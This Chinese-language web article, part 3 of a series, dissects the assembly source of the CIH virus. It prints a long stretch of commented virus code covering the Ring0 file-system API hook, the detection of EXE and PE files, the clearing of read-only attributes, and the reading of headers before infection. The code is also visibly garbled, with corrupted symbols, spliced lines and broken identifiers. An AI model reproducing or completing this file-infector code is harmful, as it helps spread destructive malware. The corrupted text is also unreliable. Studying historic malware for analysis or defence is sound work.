首頁  >  文章  >  後端開發  >  病毒程式原始碼實例剖析-CIH病毒[3]

病毒程式原始碼實例剖析-CIH病毒[3]

黄舟
黄舟原創
2017-01-17 11:16:421905瀏覽

jmp ExitRing0Init ;退出Ring0級
  
  ;合併後的程式碼大小
  CodeSizeOfMergeVirusCodeSection = offsetPEwid​​p.  InstallFileSystemApiHook:
  push ebx 
  
  call @4 
  
  call @4 
  指令的偏移位址 
  add ebx, FileSystemApiHook-@4 ;加上偏移量的差異等於FileSystemApiHook的偏移 
  
  push 〠
  
  push 〠
  IFSMgr_RemoveFileSystemApiHook = $ 
  dd 00400068h ;使用eax、ecx、edx和flags暫存器
  pop eax 
   
  ;呼叫原先的IFSMgr_InstallFileSystemApiHook功能連接SystemApiHook-@3[ebx] 
  
  pop ecx 
  push eax 
  push ebx
  
  call OldInstallFileSystemApiHook-@3[ebx] 
  pop ecx 
  
 。mov pop eax 
  pop ebx 
  
  ret 
  
  OldInstallFileSystemApiHook ddpe
  OldInstallFileSystemApiHook ddpe
  OldInstallFileSystemApiHook ddm ; SystemHook呼叫入口
FileSystemApiHook: 
  @3 = FileSystemApiHook 
  
  push ad ;儲存 
  pop esi ; mov esi, offset ;esi為當前指令的偏移 
  add esi, VirusGameDataStartAddress-@5 ;esi為FileSystemApiHook的偏移
  ;加上VirusGameDataStartAddress的偏移之差等於VirusGameDataStartAddress的偏移
  
  ;測試「忙」標誌,「忙」則到pIF test
  ;測試「忙」標誌,「忙」則到pIFSF test$3,7][3]
  jnz pIFSFunc 
  
  ;如果沒有開啟文件,則前往prevhook 
  lea ebx, [esp+20h+04h+04h  lea ebx, [esp+20h+04h+04h]d.如下 
  ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr , int FunctionNum, int Drive,
  ;int ResourceFlags, int CodePage, pioreq pir)
  
  ;判斷此次呼叫是否是為了打開文件,如果不是就跳到前一個文件鉤『
  jne prevhook 
  
  inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;設定「忙」標誌為「忙」 
 『『 ;若磁碟機號碼為03h,則表示該磁碟機是C磁碟
  mov esi, offset FileNameBuffer 
  add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer 🀜  〜〜〜) h] ;ebx+ 4為磁碟號的位址 
  
  ;是否UNC(universal naming conventions)位址,若是就轉CallUniToBCSPath
  cmp al, 0ffh  
  mov ah, ':' 
  
  mov [esi] , eax ;處理成"X:"的形式,即在盤符後面增加一個冒號
  
  inc esi 
  inc esi 
  🀜  。》+為普通的字元集,把一般的SPath(unsigned char * pBCSPath, ParsedPath * pUniPath, 
  ;unsigned int maxLength, int charSet)
  CallUniToBCSPath: 
  push 00000000h;  mov ebx, [ebx+10h] 
  mov eax, [ebx+0ch]
  add eax, 04h 
  push eax ;Uni字元首址 
  push esi ;BCS字元首址 
  Uniint 20h; 00041h 呼叫id 
  add esp, 04h*04h 
  
  ;判斷檔案是否為EXE檔案
  cmp [esi+eax-04h], 'EXE.' 
  pop esi 
  jne DisableOnBusy 
  cmp [esi+eax-06h], 'KCUF' 
  jne DisableOnBusy
  
  ENDIF 
  
  ;判斷文件是否存在,如果不存在,則轉向DisableOnBusy處
  cmp『 
  ;取得檔案屬性
  mov ax, 4300h 
  int 20h ;呼叫IFSMgr_Ring0_FileIO取得檔案屬性的功能 
  IFSMgr_Ring0_FileIO = $ 
  dd 00400032h ;呼叫號碼 
  
jc DisableOnBusy 
  push ecx 
  
  ;取得IFSMgr_Ring0_FileIO位址
  mov
  
  ;判斷是否只讀文件,如果是,則修改文件屬性,否則轉向OpenFile處
  test cl, 01h 
  jz OpenFile 
  
  mov ax, 4301h 🀜.修改文件屬性的功能,使文件可寫
  
  ;開啟文件
  OpenFile: 
  xor eax , eax 
  mov ah, 0d5h 
  xor ecx, ecx ;檔案屬性 
  xor edx, edx 🎀〨  x ;esi為檔案名稱首址 
  call edi ;呼叫IFSMgr_Ring0_FileIO開啟檔案的功能 
  
xchg ebx, eax ;在ebx中保存文件句柄 
  
  ;是否需要恢復文件屬性(有寫屬性就不需要恢復了)
  pop ecx  jz IsOpenFileOK 
  
  ;恢復檔案屬性
mov ax, 4301h
  call edi ;恢復檔案屬性 
  
  ;檔案開啟是否成功,如果不成功,則轉向DisableOnBusy處
  IsOpenFiledOpenxOpenp.
  
  ;檔案開啟成功
  push esi ;把檔案名稱資料區首址入棧 
  
  pushf ;CF = 0,保存標誌位 
  
  add esi, DataBuffer-@7 ;esi『 , eax 
  mov ah, 0d6h ;IFSMgr_Ring0_FileIO的讀取文件功能號(R0_READFILE) 
  
  ;為了達到使病毒程式碼長度最少的目的,把eax保存到ebp
 Fv 『讀4個位元組 
  pop ecx 
  push 0000003ch ;讀取DOS檔案頭偏移3ch處的Windows檔案頭首偏移 
  pop edx 
  call edi ;讀取檔案到esi 
  🀜  〜)  ;取得圖形檔案頭的PE標記和已感染標記
  dec edx 
  mov eax, ebp ;功能號 
  call edi ;讀到esi 🀜  〜 〜〜 是否為WinZip自解壓縮文件,如果是,就不感染Self-Extractor * 
  cmp dword ptr [esi], 00455000h ;判斷是否是PE檔案(標誌"PE/0/0") 
  jne CloseFile ;
  
  ;如果是PE文件,且沒有被感染,就開始感染該文件
  push ebx ;保存檔案句柄 
  push 00h『1 標記標記 〜1〜」
  push edx ;edx指向PE檔案頭偏移00h 
  push edi ;edi為IFSMgr_Ring0_FileIO的位址 
  
  mov dr1, esp ;儲存」  
  ;讀取文件頭
  mov eax, ebp 
  mov cl, SizeOfImageHeaderToRead ;要讀2個字元
push eax ;檔案指標 
  
  lea eax, (NewAddressOfEntryPoint-@8)[esi] 
  push eax ; eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
  lea edx, [eax+edx+12h] ;edx為病毒程式碼區塊表的偏移 
  
  ;項目的大小
  
  mov cl, (NumberOfSections-@8)[esi] 
  
  mul cl ;每個區塊表 塊數等於表塊大小 表塊大小 lea esi, (StartOfSectionTable -@8)[esi] ;esi指向區塊表首址(在病毒動態資料區中)

以上就是病毒程式原始碼實例剖析-CIH病毒[3]的內容,更多相關內容請關注PHP中文網( www.php.cn)!



陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn